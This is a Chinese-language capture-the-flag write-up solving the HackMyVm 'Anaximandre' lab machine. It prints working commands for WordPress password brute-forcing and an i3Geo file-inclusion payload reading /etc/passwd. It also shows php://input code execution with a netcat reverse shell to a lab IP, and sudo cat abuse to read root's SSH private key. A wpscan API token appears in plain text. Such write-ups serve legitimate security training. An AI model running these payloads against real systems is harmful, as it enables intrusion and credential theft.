HackMyVm Anaximandre

此靶机来源于HackMyVm,下载地址:https://hackmyvm.eu/

0x000 信息收集


主机探测

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -T4 -A -p 1-65535 192.168.1.106

22    ssh
80    http
873   rsync

访问80端口,看到如下页面;进行查看,个别页面显示不正常。遂添加/etc/hosts文件。

目录扫描

gobuster dir -u http://anaximandre.hmv/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

有一个登陆页面,其他没什么有用的信息。


0x001 漏洞利用


srync匿名访问

# 使用默认密码 :: 列出目标同步目录
srync anaximandre.hmv::

# 将目标的share_srync目录下的文件下载到本地output目录下
srync -av rsync://anaximandre.hmv/share_srync output

发现文件查看不了,使用linux cpt file搜索cpt文件利用方法。ccrypt -d *解密。但是解密需要密码。

扫描wordpress网站的用户。发现用户webmaster

wpscan --url http://anaximandre.hmv/ -e u --api-token DP8aGUE6Pt3ih9phDBjngGOsXrYHVNTSsFuNf53btV4

使用字典爆破一下webmaster用户密码,密码:mickey

wpscan --url http://anaximandre.hmv/ -U webmaster -P /usr/share/wordlists/rockyou.txt --api-token DP8aGUE6Pt3ih9phDBjngGOsXrYHVNTSsFuNf53btV4

登陆网站后台,发现note to self: Yn89m1RFBJ,可能是cpt解密文件的密码,尝试一下。

成功解密。

查看日志文件,发现存在lovegeografia.anaximandre.hmv域名,添加到hosts文件。

i3Geo文件包含漏洞

发现网站是一个i3Geo

i3Geo是用于开发交互式Web地图的应用程序。它将多个开源应用程序集成到一个开发平台中,主要是Mapserver和OpenLayers。它用PHP和Javascript开发,具有允许用户更好地控制地图输出的功能,允许修改图层的图例,应用过滤器,执行分析等。

i3Geo exploit github 在github搜索相关漏洞利用exp

https://github.com/wagnerdracha/ProofOfConcept

查看漏洞原理

https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo/i3geo_proof_of_concept.txt

http://lovegeografia.anaximandre.hmv/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd

使用inptu伪协议进行执行命令。

curl "http://lovegeografia.anaximandre.hmv/exemplos/codemirror.php?&pagina=php://input" -d "<?php system('ls')?>"

curl "http://lovegeografia.anaximandre.hmv/exemplos/codemirror.php?&pagina=php://input" -d "<?php system('nc 192.168.1.104 9999 -e /bin/bash')?>"

执行反弹shell;升级shell。 https://www.cnblogs.com/Cx330Lm/p/16930207.html


0x002 提权


/etc/rsync.auth文件中发现chaz用户密码。切换用户,查看当前用户权限,发现cat具有root权限。

尝试查看/root/root.txt文件,发现可以执行。

sudo /usr/bin/cat /home/chaz/../../root/root.txt

然后将root用户的ssh密钥文件写入到当前目录下的rsa文件,ssh登陆root用户即可获取最高权限。

sudo /usr/bin/cat /home/chaz/../../root/.ssh/id_rsa > rsa


0x003 flag


posted @ 2022-12-14 20:20  Cx330Lm  阅读(44)  评论(0编辑  收藏  举报